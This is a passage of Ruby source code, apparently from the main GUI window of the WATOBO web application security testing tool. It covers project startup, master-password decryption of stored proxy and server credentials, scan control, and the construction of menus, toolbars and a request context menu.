#Watobo::Gui.save_default_settings project Watobo::Gui.save_settings() #puts @project.class end end def startProject(project) return false unless project.is_a? Project update_menu puts "DEBUG: starting project" if $DEBUG @project = project subscribeProject() @project.subscribe(:update_progress) {|up| begin @progress_window.update_progress(up) rescue => bang puts bang end } @progress_window.title = "Start Project" @progress_window.show(PLACEMENT_OWNER) @chatTable.hide @sites_tree.hide @findings_tree.hide #TODO: Disable Menu Thread.new { begin print "\n* setting up project ..." @project.setupProject() print "[OK]\n" Watobo::Gui.clear_plugins print "* load plugins ..." Watobo::Gui::Utils.load_plugins(@project) print "[OK]\n" @sites_tree.project = @project @findings_tree.project = @project Watobo::Gui.project = @project puts "* finished, closing progress window" if $DEBUG rescue => bang # puts "!!! Could not create project" puts bang puts bang.backtrace if $DEBUG puts "!!! Could not create project :(" ensure puts "* stop modal mode" if $DEBUG Watobo.save_thread do getApp.stopModal end end } getApp().runModal # be sure to hide the progress window @progress_window.destroy app.beginWaitCursor() puts '* update conversation table' update_conversation_table() puts '* update status bar' update_status_bar() @chatTable.show @sites_tree.show @sites_tree.reload @findings_tree.show @findings_tree.reload @log_viewer_frame.reload @chatTable.apply_filter(@conversation_table_ctrl.filter) @conversation_table_ctrl.update_text app.endWaitCursor() puts "* starting passive scanner" Watobo::PassiveScanner.start puts "* starting interceptor" Watobo::Interceptor.start #TODO: reactivate browser preview # @browserView = BrowserPreview.new(Watobo::Interceptor.proxy) puts "Project Started" puts "Active Modules: #{Watobo::ActiveModules.length}" puts "Passive Modules: #{Watobo::PassiveModules.length}" puts "Chats: #{Watobo::Chats.length}" puts "Findings: #{Watobo::Findings.length}" end def decryptPassword(enc_pw = nil, dlg_titel = "Encrypted Password") bad_pass_count = 0 dlg_canceled = false dec_pw = nil while bad_pass_count < 3 and dlg_canceled == false and dec_pw.nil? if @settings[:master_password].empty? note = "" message = case bad_pass_count when 1 "Bad Password!!!\n" when 2 "Wrong Password Again? Next time WATOBO will continue without loading stored passwords.\n" else "Please provide the master-password to decrypt passwords.\n" end message << "If you hit 'cancel' the passwords will be deleted!\nYou can disable master-password in the settings menu.\nThe latter is not recommended!" dlg = MasterPWDialog.new(self, dlg_titel, :info => message, :retype => false) if dlg.execute != 0 master_pass = dlg.master_password begin dec_pw = Crypto.decryptPassword(enc_pw, master_pass) @settings[:master_password] = master_pass rescue => bang puts "! wrong password" @settings[:master_password] = '' bad_pass_count += 1 #FXMessageBox.information(self,MBOX_OK,"Wrong Password!", "Could not decrypt proxy passwords. Check proxy settings!") end else dlg_canceled = true @settings[:master_password] = '' end else begin dec_pw = Crypto.decryptPassword(enc_pw, @settings[:master_password]) # @settings[:master_password] = master_pass rescue => bang @settings[:master_password] = '' #FXMessageBox.information(self,MBOX_OK,"Wrong Password!", "Could not decrypt proxy passwords. Check proxy settings!") end end end dec_pw end def decryptCredentials(settings) # now check credentials decrypt_failed = false # puts "=== Check Credentials ===" if settings.has_key? :forwarding_proxy settings[:forwarding_proxy].each_key do |k| next if k == :default_proxy proxy = settings[:forwarding_proxy][k] proxy[:password] = '' unless proxy.has_key? :password proxy[:encrypted] = false unless proxy.has_key? :encrypted if proxy[:password] != '' and proxy[:encrypted] == true unless decrypt_failed # puts "* decrypting password for proxy #{proxies[k][:host]}" dp = decryptPassword(proxy[:password], "Decrypt Proxy Passwords") unless dp.nil? proxy[:password] = dp proxy[:encrypted] = false else proxy[:password] = '' proxy[:encrypted] = false decrypt_failed = true FXMessageBox.information(self, MBOX_OK, "Wrong Master Password!", "Could not decrypt passwords. Please reconfigure proxy passwords!") end else proxy[:password] = '' proxy[:encrypted] = false end end end end unless settings[:www_auth].nil? settings[:www_auth].each_key do |wa| if settings[:www_auth][wa][:encrypted] == true creds = settings[:www_auth][wa] unless decrypt_failed dp = decryptPassword(creds[:password], "Decrypt Server Password") unless dp.nil? creds[:password] = dp creds[:encrypted] = false else creds[:password] = '' creds[:encrypted] = false decrypt_failed = true FXMessageBox.information(self, MBOX_OK, "Wrong Master Password!", "Could not decrypt passwords. Please reconfigure server passwords!") end else creds[:password] = '' creds[:encrypted] = false end end end end end def openSession(prefs = {}) # puts "= Loading Session =" # session_file = File.join( Watobo.workspace_path, prefs[:project_name], prefs[:session_name] ) # puts "SessionFile: #{session_file}" if @project then response = FXMessageBox.question(self, MBOX_YES_NO, "New Project", "This will close the actual project!\nAre you sure?") return false if not response == MBOX_CLICKED_YES # clear old project closeProject() # stop interceptor end session_settings = {} # if File.exist?(session_file) then # session_settings = Watobo::Utils.load_settings(session_file) #updateistory(session_file) # else # puts "!!! Session file does not exist (#{session_file})." # return false # end return false unless prefs.has_key? :project_name return false unless prefs.has_key? :session_name project = Watobo.create_project( :project_name => prefs[:project_name], :session_name => prefs[:session_name] ) puts "* starting project" startProject(project) =begin project_file = File.expand_path(File.join(File.dirname(session_file), "..", session_settings[:project_name] + ".wps")) if File.exist?(project_file) then project_settings = Watobo::Utils.load_settings(project_file) if not project_settings.is_a? Hash then project_settings = Hash.new end new_project_settings = Hash.new new_project_settings.update(@settings) new_project_settings.update(project_settings) new_project_settings.update(session_settings) new_project_settings[:workspace_path] = File.join(File.dirname(project_file), "..") # need to restore forwarding proxy list # new_project_settings[:forwarding_proxy] = @forward_proxy_settings decryptCredentials(new_project_settings) # puts "* project settings" # puts new_project_settings[:www_auth].to_yaml project = Watobo::Project.new(new_project_settings) if project @projects[project] = { :session_file => session_file, :project_file => project_file } startProject(project) Watobo::Gui.save_default_settings(@project) end return true else puts "!!! No project file available (#{project_file})." return false end =end end def openScannerSettingsDialog(sender, sel, ptr) # if @project then # settings = @project.getScanPreferences() # puts settings.to_yaml # dlg = Watobo::Gui::ScannerSettingsDialog.new(self, settings, LAYOUT_FILL_X|LAYOUT_FILL_Y) dlg = Watobo::Gui::ScannerSettingsDialog.new(self, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y) if dlg.execute != 0 then # puts dlg.scanner_settings.to_yaml # @project.updateSettings(YAML.load(YAML.dump(dlg.scanner_settings))) # saveProjectSettings(@project) Watobo::Gui.save_settings() end # else # FXMessageBox.information(self,MBOX_OK,"No Project Defined", "Create Project First!") # end end def openInterceptorSettingsDialog(sender, sel, ptr) dlg = Watobo::Gui::InterceptorSettingsDialog.new(self) if dlg.execute != 0 then puts dlg.interceptor_settings.to_yaml if $DEBUG Watobo::Conf::Interceptor.set dlg.interceptor_settings @statusBar.update_proxy_mode #@settings[:interceptor].update YAML.load(YAML.dump(dlg.interceptor_settings)) #@project.updateSettings(YAML.load(YAML.dump(dlg.scanner_settings))) FXMessageBox.information(self, MBOX_OK, "Restart required!", "You must restart WATOBO in order your changes take effect.") Watobo::Conf::Interceptor.save Watobo::Gui.save_settings() #Watobo::Gui.save_default_settings(@settings[:interceptor]) end end def openScopeDialog(sender, sel, ptr) dlg = Watobo::Gui::EditScopeDialog.new(self, LAYOUT_FILL_X | LAYOUT_FILL_Y) if dlg.execute != 0 then Watobo::Gui.save_settings() refreshViewers() end end def startFullScan(sender, sel, ptr) unless @scanner.nil? #if @scan_button.icon == ICON_STOP @scanner.cancel() if @scanner @scan_button.icon = ICON_START @scan_running = false @scanner = nil else dlg = Watobo::Gui::FullScanDialog.new(self, @project, LAYOUT_FILL_X | LAYOUT_FILL_Y) if dlg.execute != 0 then @scan_running = true @scan_button.icon = ICON_STOP Watobo::Scope.set dlg.scope selected_modules = dlg.activeModules in_scope_chats = Watobo::Chats.in_scope() puts "Chats in Scope: #{in_scope_chats.length}" confirm_dlg = Watobo::Gui::ConfirmScanDialog.new(self, in_scope_chats) if confirm_dlg.execute == 0 @scan_button.icon = ICON_START @scan_running = false return 0 end # scan_prefs = @project.getScanPreferences() scan_prefs = Watobo::Conf::Scanner.to_h scan_prefs[:scan_name] = "scan_" + Time.now.to_i.to_s + "_full" @scanner = Watobo::Scanner3.new(in_scope_chats, selected_modules, [], scan_prefs) @scanner.subscribe(:progress) {|check| @dashboard.progress(check) } @scanner.subscribe(:module_finished) {|mod| @dashboard.module_finished(mod) } @scanner.subscribe(:logger) {|level, message| #@log_viewer.log(level, message) Watobo.log(message, :sender => 'Scanner') } @scanner.subscribe(:new_finding) {|finding| begin @project.addFinding(finding) rescue => bang puts bang puts bang.backtrace if $DEBUG end } @dashboard.setupScanProgressFrame(@scanner) @dashboard.setScanStatus("Running") @statusBar.setStatusInfo(:text => "Full Scan Running", :color => 'red') @scanner.run(:run_passive_checks => false, :update_sids => true, :update_session => true) end end end def pauseScan(sender, sel, ptr) begin if @scanner.running? @scanner.stop @dashboard.setScanStatus("Scan Paused") @statusBar.statusInfoText = "Scan Paused" else @scanner.continue @dashboard.setScanStatus("Scan Running") @statusBar.statusInfoText = "Full Scan Running" end rescue => bang puts "!!!ERROR: Could not pause scanner" puts bang end end def initialize(app) # Invoke base class initialize first super(app, "WATOBO by siberas (Version: #{Watobo.version})", :opts => DECOR_ALL, :width => 1000, :height => 600) #FXToolTip.new(app) #app.disableThreads @app = app #self.icon = ICON_WATOBO setIcon(ICON_WATOBO) setMiniIcon(ICON_WATOBO) self.show(PLACEMENT_MAXIMIZED) self.extend Watobo::Settings self.connect(SEL_CLOSE, method(:onClose)) @project = nil @scanner = nil # @iproxy = nil @browserView = nil @scan_running = false @new_status = nil @lastViewed = nil # last viewed/selected item (chat/finding) @last_request = nil @last_response = nil @progress_window = Watobo::Gui::ProgressWindow.new(self) @settings = {} # array for gui plugins. will be filled after project creation. @plugins = [] @app = app @progressWindow = nil # reserved for simple progress Window @switcher = nil @interceptor = nil @table_filter = FXDataTarget.new("") @finding_lock = Mutex.new @chat_lock = Mutex.new @status_lock = Mutex.new @finding_queue = [] @chat_queue = [] @msg_queue = [] # setup clipboard @clipboard_text = "" self.connect(SEL_CLIPBOARD_REQUEST) do # setDNDData(FROM_CLIPBOARD, FXWindow.stringType, Fox.fxencodeStringData(@clipboard_text)) setDNDData(FROM_CLIPBOARD, FXWindow.stringType, @clipboard_text + "\x00") end menu_bar = FXMenuBar.new(self, :opts => LAYOUT_SIDE_TOP | LAYOUT_FILL_X) @menu_items = [] file_menu_pane = FXMenuPane.new(self) FXMenuTitle.new(menu_bar, "File", :popupMenu => file_menu_pane) @file_new_menu = FXMenuCommand.new(file_menu_pane, "New/Open") @file_new_menu.connect(SEL_COMMAND, method(:onNewProject)) export_menu = FXMenuCommand.new(file_menu_pane, "Export") #FXMenuCommand.new(file_menu_pane, "Exit", nil, getApp(), FXApp::ID_QUIT) export_menu.connect(SEL_COMMAND, method(:onExport)) exit_menu = FXMenuCommand.new(file_menu_pane, "Exit") #FXMenuCommand.new(file_menu_pane, "Exit", nil, getApp(), FXApp::ID_QUIT) exit_menu.connect(SEL_COMMAND, method(:onExit)) FXMenuSeparator.new(file_menu_pane) submenu = FXMenuPane.new(self) do |session_menu| Watobo::Gui.history.entries.sort_by {|id, he| he[:last_used]}.reverse.each do |i, h| hname = h[:project_name] + " - " + h[:session_name] + " (#{Time.at(h[:last_used]).strftime("%Y-%m-%d %H:%M")})" history = FXMenuCommand.new(session_menu, hname) history.connect(SEL_COMMAND) do |sender, sel, item| # puts "open session #{h}" # puts "!!!ERROR Could not start session #{h}" if !openSession(h) if openSession(:project_name => h[:project_name], :session_name => h[:session_name]) Watobo::Gui.history.update_usage(:project_name => h[:project_name], :session_name => h[:session_name]) end end end end @file_history = FXMenuCascade.new(file_menu_pane, "Recent Sessions", nil, submenu) #load history file # file_open_command = FXMenuCommand.new(file_menu_pane, "Open..." ) # file_save_command = FXMenuCommand.new(file_menu_pane, "Save" ) # file_save_as_command = FXMenuCommand.new(file_menu_pane, "Save As..." ) settings_menu_pane = FXMenuPane.new(self) # @menu_items << settings_menu_pane FXMenuTitle.new(menu_bar, "Settings", :popupMenu => settings_menu_pane) @proxy_menu = FXMenuCommand.new(settings_menu_pane, "Forwarding Proxy...") @session_mgmt_menu = FXMenuCommand.new(settings_menu_pane, "Session Management...") # @project ? menu_session.enable : menu_session.disable # menu_ca = FXMenuCommand.new(settings_menu_pane, "Create Certificate..." ) # menu_ca.connect(SEL_COMMAND, method(:openCADialog)) @target_scope_menu = FXMenuCommand.new(settings_menu_pane, "Target Scope...") @target_scope_menu.connect(SEL_COMMAND, method(:openScopeDialog)) @scanner_menu = FXMenuCommand.new(settings_menu_pane, "Scanner...") @scanner_menu.connect(SEL_COMMAND, method(:openScannerSettingsDialog)) @interceptor_menu = FXMenuCommand.new(settings_menu_pane, "Interceptor...") @interceptor_menu.connect(SEL_COMMAND, method(:openInterceptorSettingsDialog)) @www_auth_menu = FXMenuCommand.new(settings_menu_pane, "WWW-Auth...") @www_auth_menu.connect(SEL_COMMAND) {openWwwAuthDialog()} @client_cert_menu = FXMenuCommand.new(settings_menu_pane, "Client Certificates...") @client_cert_menu.connect(SEL_COMMAND) {open_client_cert_dialog()} # pp_prefs = FXMenuCommand.new(settings_menu_pane, "Password Policy..." ) # pp_prefs.connect(SEL_COMMAND) { openPWPolicyDialog() } # intercept_enable = FXMenuCheck.new(settings_menu_pane, "Enable Interception") # file_menu_title = FXMenuTitle.new(menu_bar, "Settings" , :popupMenu => settings_menu_pane) @proxy_menu.connect(SEL_COMMAND, method(:onMenuProxy)) @session_mgmt_menu.connect(SEL_COMMAND, method(:openSessionManagement)) tools_menu_pane = FXMenuPane.new(self) FXMenuTitle.new(menu_bar, "Tools", :popupMenu => tools_menu_pane) @transcoder_menu = FXMenuCommand.new(tools_menu_pane, "Transcoder") @interceptor_menu = FXMenuCommand.new(tools_menu_pane, "Interceptor") @transcoder_menu.connect(SEL_COMMAND, method(:onOpenTranscoder)) @interceptor_menu.connect(SEL_COMMAND, method(:onOpenInterceptor)) view_menu_pane = FXMenuPane.new(self) FXMenuTitle.new(menu_bar, "View", :popupMenu => view_menu_pane) view_logs_command = FXMenuCommand.new(view_menu_pane, "Logs") view_dashboard_command = FXMenuCommand.new(view_menu_pane, "Dashboard") view_findings_command = FXMenuCommand.new(view_menu_pane, "Chat-Table") view_dashboard_command.connect(SEL_COMMAND, method(:showDashboard)) view_logs_command.connect(SEL_COMMAND, method(:showLogs)) view_findings_command.connect(SEL_COMMAND, method(:showConversation)) window_menu_pane = FXMenuPane.new(self) FXMenuTitle.new(menu_bar, "Window", :popupMenu => window_menu_pane) use_small_icons = FXMenuCheck.new(window_menu_pane, "Small Icons/Text") use_small_icons.connect(SEL_COMMAND) { if use_small_icons.checked? useSmallIcons() else useRegularIcons() end } help_menu_pane = FXMenuPane.new(self) FXMenuTitle.new(menu_bar, "Help", :popupMenu => help_menu_pane) # menu_lic = FXMenuCommand.new(help_menu_pane, "License" ) menu_about = FXMenuCommand.new(help_menu_pane, "About") menu_about.connect(SEL_COMMAND) { #FXMessageBox.information(self,MBOX_OK,"About", "WATOBO Version 0.9.1!") aboutDlg = AboutWatobo.new(self) aboutDlg.create aboutDlg.show(Fox::PLACEMENT_SCREEN) } # top_dock_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|FRAME_SUNKEN, :padding => 0) # tool_bar_shell = FXToolBarShell.new(self) # top_dock_site = FXDockSite.new(top_dock_frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) # bottom_dock_site = FXDockSite.new(self, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM) # project_bar = FXToolBar.new(top_dock_site, tool_bar_shell, PACK_UNIFORM_WIDTH) # FXToolBarGrip.new(project_bar, :opts => TOOLBARGRIP_SINGLE) top_bar = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X | FRAME_SUNKEN, :padding => 0) project_bar = FXHorizontalFrame.new(top_bar, :opts => LAYOUT_FILL_X | PACK_UNIFORM_WIDTH | FRAME_NONE, :padding => 2) @new_project_button = FXButton.new(project_bar, "\tNew Project\tNew Project.", :icon => ICON_ADD_PROJECT, :padding => 0) @new_project_button.connect(SEL_COMMAND, method(:onNewProject)) @scan_button = FXButton.new(project_bar, "\tStart Scan\tStart Scan.", :opts => FRAME_RAISED | FRAME_THICK, :icon => ICON_START, :padding => 0) @scan_button.disable # @start_scan_button.tipText = "Start Scan" @scan_button.connect(SEL_COMMAND, method(:startFullScan)) #@pause_scan_button = FXButton.new(project_bar, "\tPause Scan\tPause Scan." ,:icon => ICON_PAUSE) #@pause_scan_button.disable # @start_scan_button.tipText = "Start Scan" #@pause_scan_button.connect(SEL_COMMAND, method(:pauseScan)) # views_bar = FXToolBar.new(top_dock_site, tool_bar_shell, :opts => PACK_UNIFORM_WIDTH, :height => 20) # FXToolBarGrip.new(views_bar, :opts => TOOLBARGRIP_SINGLE) #@create_report_button = FXButton.new(views_bar,"\tReport\tCreate Report." , :icon => @reportIcon) #@create_report_button.disable views_bar = project_bar @show_dashboard_button = FXButton.new(views_bar, "\tShow Dashboard\tShow Dashboard.", :icon => ICON_DASHBOARD, :padding => 0) @show_dashboard_button.connect(SEL_COMMAND, method(:showDashboard)) # @create_report_button.disable @show_conversation_button = FXButton.new(views_bar, "\tShow Conversation\tShow Conversation.", :icon => ICON_CONVERSATION, :padding => 0) @show_conversation_button.connect(SEL_COMMAND, method(:showConversation)) # tools_bar = FXToolBar.new(top_dock_site, tool_bar_shell, :opts => PACK_UNIFORM_WIDTH) # FXToolBarGrip.new(tools_bar, :opts => TOOLBARGRIP_SINGLE) tools_bar = project_bar @open_transcoder_button = FXButton.new(tools_bar, "\tOpen Transcoder\tOpen Transcoder.", :icon => ICON_TRANSCODER, :padding => 0) @open_transcoder_button.connect(SEL_COMMAND, method(:onOpenTranscoder)) @btn_show_plugin = FXButton.new(tools_bar, "\tShow Plugins\tShow Plugins.", :icon => ICON_PLUGIN, :padding => 0) @btn_show_plugin.connect(SEL_COMMAND, method(:onShowPlugins)) @open_interceptor_button = FXButton.new(tools_bar, "\tOpen Interceptor\tOpen Interceptor.", :icon => ICON_INTERCEPTOR, :padding => 0) @open_interceptor_button.connect(SEL_COMMAND, method(:onOpenInterceptor)) @open_sequencer_button = FXButton.new(tools_bar, "\tOpen Sequencer\tOpen Sequencer.", :icon => ICON_SEQUENCER, :padding => 0) @open_sequencer_button.connect(SEL_COMMAND, method(:onOpenSequencer)) # dummy button for siberas logo FXButton.new(top_bar, nil, :icon => Watobo::Gui::Icons::SIBERAS_ICON, :opts => FRAME_NONE | LAYOUT_SIDE_RIGHT) @statusBar = StatusBar.new(self, :opts => LAYOUT_FILL_X | LAYOUT_SIDE_BOTTOM, :padding => 0) splitter = FXSplitter.new(self, :opts => LAYOUT_SIDE_TOP | LAYOUT_FILL_X | LAYOUT_FILL_Y | SPLITTER_TRACKING) frame = FXVerticalFrame.new(splitter, :opts => LAYOUT_FILL_Y | LAYOUT_FIX_WIDTH | FRAME_SUNKEN, :padding => 0, :width => 200) @treeTabbook = FXTabBook.new(frame, nil, 0, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | LAYOUT_RIGHT) ftab = FXTabItem.new(@treeTabbook, "Findings", nil) ftab.setFont(FXFont.new(getApp(), "helvetica", 12, FONTWEIGHT_BOLD, FONTENCODING_DEFAULT)) tab_frame = FXVerticalFrame.new(@treeTabbook, :opts => LAYOUT_FIX_WIDTH | LAYOUT_FILL_Y | FRAME_RAISED, :width => 100) frame = FXVerticalFrame.new(tab_frame, :opts => LAYOUT_FILL_Y | LAYOUT_FILL_X | FRAME_SUNKEN, :padding => 0) @findings_tree = Watobo::Gui::FindingsTree.new(frame, self, nil) stab = FXTabItem.new(@treeTabbook, " Sites ", nil) stab.setFont(FXFont.new(getApp(), "helvetica", 12, FONTWEIGHT_BOLD, FONTENCODING_DEFAULT)) tab_frame = FXVerticalFrame.new(@treeTabbook, :opts => LAYOUT_FIX_WIDTH | LAYOUT_FILL_Y | FRAME_RAISED, :width => 100) frame = FXVerticalFrame.new(tab_frame, :opts => LAYOUT_FILL_Y | LAYOUT_FILL_X | FRAME_SUNKEN, :padding => 0) @sites_tree = Watobo::Gui::SitesTree.new(frame, self, nil) ftab = FXTabItem.new(@treeTabbook, "Logs", nil) ftab.setFont(FXFont.new(getApp(), "helvetica", 12, FONTWEIGHT_BOLD, FONTENCODING_DEFAULT)) tab_frame = FXVerticalFrame.new(@treeTabbook, :opts => LAYOUT_FIX_WIDTH | LAYOUT_FILL_Y | FRAME_RAISED, :width => 100) @log_viewer_frame = LogViewerFrame.new(tab_frame, :opts => LAYOUT_FILL_Y | LAYOUT_FILL_X | FRAME_SUNKEN, :padding => 0) @treeTabbook.connect(SEL_COMMAND) {|sender, sel, item| case item when 0 # @chatTable.apply_filter @conversation_table_ctrl.filter_settings begin getApp().beginWaitCursor() update_conversation_table() ensure getApp().endWaitCursor() end # if @project # @project.settings.delete(:site_filter) # updateRequestTable(@project) #end end } subscribeFindingsTree() subscribeSitesTree() @log_viewer_frame.subscribe(:show_chats) do |chats| @chatTable.showConversation(chats) @conversation_table_ctrl.update_text end # S W I T C H E R @switcher = FXSwitcher.new(splitter, LAYOUT_FILL_X | LAYOUT_FILL_Y, :padding => 0) # R E Q U E S T I N F O requestInfo = FXVerticalFrame.new(@switcher, :opts => LAYOUT_FILL_X | LAYOUT_FILL_X | LAYOUT_FILL_Y, :padding => 0) request_splitter = FXSplitter.new(requestInfo, :opts => LAYOUT_SIDE_TOP | SPLITTER_HORIZONTAL | LAYOUT_FILL_Y | LAYOUT_FILL_X | SPLITTER_TRACKING | SPLITTER_REVERSED) #request_splitter.connect(SEL_COMMAND){ #puts "Request Splitter Resized!" #} # C H A T T A B L E C O N T R O L L E R # @conversation_table_ctrl = ConversationTableCtrl.new(request_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN) @conversation_table_ctrl = ConversationTableCtrl2.new(request_splitter, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_SUNKEN) # C H A T T A B L E @chatTable = ConversationTable.new(@conversation_table_ctrl) @conversation_table_ctrl.table = @chatTable @chatTable.autoscroll = true =begin @chatTable.connect(SEL_COMMAND) do |sender, sel, item| @findings_tree.killSelection() @sites_tree.killSelection() onTableClick(sender,sel,item) end =end @chatTable.subscribe(:chat_selected) {|chat| chat_selected(chat) unless chat.nil? } @chatTable.subscribe(:chat_doubleclicked) {|chat| open_manual_request_editor(chat) } =begin @chatTable.connect(SEL_DOUBLECLICKED) do |sender, sel, data| @findings_tree.killSelection() @sites_tree.killSelection() row = sender.getCurrentRow if row >= 0 then @chatTable.selectRow(row, false) chatid = @chatTable.getRowText(row).to_i chat = Watobo::Chats.get_by_id(chatid) open_manual_request_editor(chat) end end =end =begin @chatTable.connect(SEL_CHANGED){ |sender, sel, item| #puts item.row @chatTable.selectRow(item.row, false) chatid = @chatTable.getRowText(item.row).to_i chat = Watobo::Chats.get_by_id(chatid) chat_selected(chat) } @chatTable.connect(SEL_KEYPRESS){ |sender, sel, event| case event.code when KEY_space if chat = @chatTable.current_chat dlg = Watobo::Gui::EditCommentDialog.new(self, chat) if dlg.execute != 0 then chat.comment = dlg.comment @chatTable.updateComment(@chatTable.currentRow, dlg.comment) Watobo::Utils.saveChat(chat, chat.file) end end true else false end } =end @chatTable.subscribe(:edit_comment) {|chat| puts "#{self} EDIT COMMENT" dlg = Watobo::Gui::EditCommentDialog.new(self, chat) if dlg.execute != 0 then chat.comment = dlg.comment @chatTable.updateComment(@chatTable.currentRow, dlg.comment) Watobo::Utils.saveChat(chat, chat.file) end } @chatTable.subscribe(:open_filter_dlg) {|chat| puts "#{self} Open Filter Dialog" dlg = Watobo::Gui::ConversationFilterDialog.new(self, @conversation_table_ctrl.filter) if dlg.execute != 0 #puts dlg.filter_settings.to_yaml filter = dlg.filter_settings unless @chatTable.nil? getApp().beginWaitCursor do @chatTable.apply_filter(filter) end end end } @chatTable.connect(SEL_RIGHTBUTTONRELEASE) do |sender, sel, event| @findings_tree.killSelection() @sites_tree.killSelection() unless event.moved? # row = sender.getCurrentRow ypos = event.click_y row = @chatTable.rowAtY(ypos) # puts "right click on row #{row} of #{@chatTable.numRows}" if row >= 0 and row < @chatTable.numRows then @chatTable.selectRow(row, true) # because currentRow != selected row we have to set it manually # otherwise current_chat would use the false row item @chatTable.setCurrentItem(row, 1, true) chatid = @chatTable.getRowText(row).to_i #chat = Watobo::Chats.get_by_id(chatid) chat = sender.current_chat showChat(chat) FXMenuPane.new(self) do |menu_pane| # SEND TO SUBMENU submenu = FXMenuPane.new(self) do |sendto_menu| target = FXMenuCommand.new(sendto_menu, "Invader") target.connect(SEL_COMMAND) { open_plugin_invader(chat) } target = FXMenuCommand.new(sendto_menu, "Fuzzer") target.connect(SEL_COMMAND) { openFuzzer(chat) } target = FXMenuCommand.new(sendto_menu, "Manual Request") target.connect(SEL_COMMAND) { open_manual_request_editor(chat) } target = FXMenuCommand.new(sendto_menu, "SQLmap") target.connect(SEL_COMMAND) { open_plugin_sqlmap(chat) } target = FXMenuCommand.new(sendto_menu, "Crawler") target.connect(SEL_COMMAND) { open_plugin_crawler(chat) } target = FXMenuCommand.new(sendto_menu, "JWT") target.connect(SEL_COMMAND) { open_plugin_jwt(chat) } end FXMenuCascade.new(menu_pane, "Send to", nil, submenu) # EXCLUDE SUBMENU exclude_submenu = FXMenuPane.new(self) do |sub| # chat = Watobo::Chats.get_by_id(chatid) target = FXMenuCheck.new(sub, "Chat (#{chatid})") target.check = @project.scan_settings[:excluded_chats].include?(chatid) ? true : false target.connect(SEL_COMMAND) { if target.checked?() @project.scan_settings[:excluded_chats].push chatid else @project.scan_settings[:excluded_chats].delete(chatid) end } # target = FXMenuCommand.new(sub, "Path" ) # target.connect(SEL_COMMAND) { # ... # } end FXMenuCascade.new(menu_pane, "Exclude from Scan", nil, exclude_submenu) # COPY SUBMENU copy_submenu = FXMenuPane.new(self) do |sub| #chat = Watobo::Chats.get_by_id(chatid) url = chat.request.url.to_s # puts url url_string = "URL: #{url.slice(0, 35)}" url_string += "..." if url.length > 36 target = FXMenuCommand.new(sub, url_string) target.connect(SEL_COMMAND) { types = [FXWindow.stringType] if acquireClipboard(types) puts @clipboard_text = url end } target = FXMenuCommand.new(sub, "Site: #{chat.request.site}") target.connect(SEL_COMMAND) { #site = Watobo::Chats.get_by_id(chatid).request.site site = chat.request.site types = [FXWindow.stringType] if acquireClipboard(types) @clipboard_text = site end } end FXMenuCascade.new(menu_pane, "Copy", nil, copy_submenu) addToLogin = FXMenuCommand.new(menu_pane, "Add to Login-Script") addToLogin.connect(SEL_COMMAND) { @project.add_login_chat_id(chatid) puts "Add to Login-Script ... saveSessionSettings (#{@project.class})" Watobo::Gui.save_settings() } target = FXMenuCheck.new(menu_pane, "Tested") target.check = chat.tested? target.connect(SEL_COMMAND) { chat.tested = target.checked?() Watobo::Utils.saveChat(chat, chat.file) } FXMenuCommand.new(menu_pane, "Edit comment..").connect(SEL_COMMAND) { # puts row dlg = Watobo::Gui::EditCommentDialog.new(self, chat) if dlg.execute != 0 then chat.comment = dlg.comment @chatTable.updateComment(row, dlg.comment) Watobo::Utils.saveChat(chat, chat.file) end } # copyRequest = FXMenuCommand.new(menu_pane, "copy Request(#{chatid})" ) # copyResponse = FXMenuCommand.new(menu_pane, "copy Response(#{chatid})" ) # info = FXMenuCommand.new(menu_pane, "Details..." ) #info.connect(SEL_COMMAND) { display_info_for(item) } # COPY SUBMENU copy_submenu = FXMenuPane.new(self) do |sub| target = FXMenuCommand.new(sub, "cURL") target.connect(SEL_COMMAND) { #request = Watobo::Chats.get_by_id(chatid).request request = chat.request curl = Watobo::Utils::Curl.create_request(request) types = [FXWindow.stringType] if acquireClipboard(types) @clipboard_text = curl end } end FXMenuCascade.new(menu_pane, "Code", nil, copy_submenu) menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end end #=================================================================== # CHAT VIEWER #=================================================================== chat_outer_frame = FXVerticalFrame.new(request_splitter, :opts => LAYOUT_FILL_Y | LAYOUT_FILL_X | FRAME_SUNKEN | LAYOUT_MIN_WIDTH, :padding => 0, :width => 400) chat_frame = chat_outer_frame # chat_frame = FXVerticalFrame.new(chat_outer_frame, :opts => LAYOUT_FILL_X|FRAME_SUNKEN, :padding => 0) #view_menu = FXVerticalFrame.new(chat_frame, :opts => LAYOUT_FILL_X, :padding => 0) #frame = FXHorizontalFrame.new(view_menu, :opts => LAYOUT_FILL_X) #cvlabel = FXLabel.new(frame, "View: ") # cvlabel.setFont(FXFont.new(getApp(), "helvetica", 12, FONTWEIGHT_BOLD, FONTSLANT_ITALIC, FONTENCODING_DEFAULT)) @quickViewTitle = FXLabel.new(chat_frame, " -N/A- ") @quickViewTitle.setFont(FXFont.new(getApp(), "helvetica", 12, FONTWEIGHT_BOLD, FONTSLANT_ITALIC, FONTENCODING_DEFAULT)) @quickViewSubTitle = FXLabel.new(chat_frame, "") frame = FXHorizontalFrame.new(chat_frame, :opts => LAYOUT_CENTER_X | LAYOUT_FILL_X | PACK_UNIFORM_WIDTH, :padding => 0) @mre_button = FXButton.new(frame, "Manual Request", ICON_MANUAL_REQUEST_SMALL, nil, 0, :opts => BUTTON_NORMAL | LAYOUT_RIGHT | LAYOUT_FILL_X) @mre_button.connect(SEL_COMMAND) { open_manual_request_editor(@lastViewed) if @lastViewed } @mre_button.enabled = false @fuzz_button = FXButton.new(frame, "Fuzzer", ICON_FUZZER_SMALL, nil, 0, :opts => BUTTON_NORMAL | LAYOUT_RIGHT | LAYOUT_FILL_X) @fuzz_button.connect(SEL_COMMAND) { openFuzzer(@lastViewed) if @lastViewed } @fuzz_button.enabled = false @bv_button = FXButton.new(frame, "Browser-View", ICON_BROWSER_SMALL, nil, 0, :opts => BUTTON_NORMAL | LAYOUT_RIGHT | LAYOUT_FILL_X) @bv_button.connect(SEL_COMMAND) { begin if @lastViewed and @browserView then 